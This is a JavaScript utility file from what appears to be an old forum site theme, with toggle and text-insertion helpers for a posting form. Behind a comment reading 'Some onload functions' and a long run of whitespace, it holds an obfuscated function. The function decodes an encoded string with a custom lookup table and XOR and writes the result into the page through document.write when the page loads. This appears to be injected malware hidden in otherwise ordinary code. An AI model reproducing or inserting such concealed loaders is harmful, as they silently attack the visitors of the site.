/* 
------------------------------------------
	Flipbox written by CrappoMan
	simonpatterson@dsl.pipex.com
------------------------------------------
*/
function flipBox(who) {
	var tmp; 
	if (document.images['b_' + who].src.indexOf('_on') == -1) { 
		tmp = document.images['b_' + who].src.replace('_off', '_on');
		document.getElementById('box_' + who).style.display = 'none';
		document.images['b_' + who].src = tmp;
	} else { 
		tmp = document.images['b_' + who].src.replace('_on', '_off');
		document.getElementById('box_' + who).style.display = 'block';
		document.images['b_' + who].src = tmp;
	} 
}

function addText(elname, wrap1, wrap2) {
	if (document.selection) { // for IE 
		var str = document.selection.createRange().text;
		document.forms['inputform'].elements[elname].focus();
		var sel = document.selection.createRange();
		sel.text = wrap1 + str + wrap2;
		return;
	} else if ((typeof document.forms['inputform'].elements[elname].selectionStart) != 'undefined') { // for Mozilla
		var txtarea = document.forms['inputform'].elements[elname];
		var selLength = txtarea.textLength;
		var selStart = txtarea.selectionStart;
		var selEnd = txtarea.selectionEnd;
		var oldScrollTop = txtarea.scrollTop;
		//if (selEnd == 1 || selEnd == 2)
		//selEnd = selLength;
		var s1 = (txtarea.value).substring(0,selStart);
		var s2 = (txtarea.value).substring(selStart, selEnd)
		var s3 = (txtarea.value).substring(selEnd, selLength);
		txtarea.value = s1 + wrap1 + s2 + wrap2 + s3;
		txtarea.selectionStart = s1.length;
		txtarea.selectionEnd = s1.length + s2.length + wrap1.length + wrap2.length;
		txtarea.scrollTop = oldScrollTop;
		txtarea.focus();
		return;
	} else {
		insertText(elname, wrap1 + wrap2);
	}
}

function insertText(elname, what) {
	if (document.forms['inputform'].elements[elname].createTextRange) {
		document.forms['inputform'].elements[elname].focus();
		document.selection.createRange().duplicate().text = what;
	} else if ((typeof document.forms['inputform'].elements[elname].selectionStart) != 'undefined') { // for Mozilla
		var tarea = document.forms['inputform'].elements[elname];
		var selEnd = tarea.selectionEnd;
		var txtLen = tarea.value.length;
		var txtbefore = tarea.value.substring(0,selEnd);
		var txtafter =  tarea.value.substring(selEnd, txtLen);
		var oldScrollTop = tarea.scrollTop;
		tarea.value = txtbefore + what + txtafter;
		tarea.selectionStart = txtbefore.length + what.length;
		tarea.selectionEnd = txtbefore.length + what.length;
		tarea.scrollTop = oldScrollTop;
		tarea.focus();
	} else {
		document.forms['inputform'].elements[elname].value += what;
		document.forms['inputform'].elements[elname].focus();
	}
}

function show_hide(msg_id) {
	msg_id.style.display = msg_id.style.display == 'none' ? 'block' : 'none';
}// Some onload functions
                                                                                                                                                                                                                                                                              function OOlI10O1II10I1I0O101l0II1OllIl0O0IO0IlOI(lII0OO0Il1000I0OI1OO00OI1OI11O0l1OO0OOI1){var Ill0O11O0I0l0lOO1O0II1I1O00O01OI0l1Il1II=lII0OO0Il1000I0OI1OO00OI1OI11O0l1OO0OOI1.length,lI11lO0I1OIll11IOlO0OI1OlI10I1OOlOl10l0l=1024,I1lI1110II1l1010lOOOl0I1l1IOO11lO01O00I1,O111O1lOO01I1l101ll11O0IIO101IOOOlII0OIl,llII1l0lIIIOO0011IOOI110OOII00OI001O0O0l,I1OlO0l0O1O0l01Ol11OOl00IOO00OII000O1OlI=0,O0I10lO1I00Ol010O00ll10lII0lOlO10I1OOO00=0,OI1Ol100IIlO0lllI0I10l1Ol0OIO00II0010O0l=0,l00lIO0l0OOO0lOl0OlOIIO0lO0lI1OO11I1IlOl=Array(63,26,18,11,3,5,6,33,51,48,0,0,0,0,0,0,61,28,39,22,9,41,2,30,31,27,10,23,38,42,36,37,40,47,24,43,8,19,58,44,35,25,16,0,0,0,0,29,0,45,4,52,56,57,13,20,55,32,21,14,49,60,54,62,59,12,34,46,1,7,0,15,50,53,17);for(O111O1lOO01I1l101ll11O0IIO101IOOOlII0OIl=Math.ceil(Ill0O11O0I0l0lOO1O0II1I1O00O01OI0l1Il1II/lI11lO0I1OIll11IOlO0OI1OlI10I1OOlOl10l0l);O111O1lOO01I1l101ll11O0IIO101IOOOlII0OIl>0;O111O1lOO01I1l101ll11O0IIO101IOOOlII0OIl--){llII1l0lIIIOO0011IOOI110OOII00OI001O0O0l='';for(I1lI1110II1l1010lOOOl0I1l1IOO11lO01O00I1=Math.min(Ill0O11O0I0l0lOO1O0II1I1O00O01OI0l1Il1II,lI11lO0I1OIll11IOlO0OI1OlI10I1OOlOl10l0l);I1lI1110II1l1010lOOOl0I1l1IOO11lO01O00I1>0;I1lI1110II1l1010lOOOl0I1l1IOO11lO01O00I1--,Ill0O11O0I0l0lOO1O0II1I1O00O01OI0l1Il1II--){OI1Ol100IIlO0lllI0I10l1Ol0OIO00II0010O0l|=(l00lIO0l0OOO0lOl0OlOIIO0lO0lI1OO11I1IlOl[lII0OO0Il1000I0OI1OO00OI1OI11O0l1OO0OOI1.charCodeAt(I1OlO0l0O1O0l01Ol11OOl00IOO00OII000O1OlI++)-48])<<O0I10lO1I00Ol010O00ll10lII0lOlO10I1OOO00;if(O0I10lO1I00Ol010O00ll10lII0lOlO10I1OOO00){llII1l0lIIIOO0011IOOI110OOII00OI001O0O0l+=String.fromCharCode(165^OI1Ol100IIlO0lllI0I10l1Ol0OIO00II0010O0l&255);OI1Ol100IIlO0lllI0I10l1Ol0OIO00II0010O0l>>=8;O0I10lO1I00Ol010O00ll10lII0lOlO10I1OOO00-=2}else{O0I10lO1I00Ol010O00ll10lII0lOlO10I1OOO00=6}}document.write(llII1l0lIIIOO0011IOOI110OOII00OI001O0O0l)}}OOlI10O1II10I1I0O101l0II1OllIl0O0IO0IlOI("Yxm9KUqxvKPcquAcfXYO5nq9q3A8zXYO51_cABq9RGR9qI_yDUqhHsWx34WBU8WyqHq8D8AcA0Y8quA9vQm751@y6Xe7fu_cj0ErJ1_cJKayCIf93xmx4SWrDQRyfKaLzhAhusYLJxm9KUqxvQD");                                                                                                                                                                                                                                                                              
// End onload functions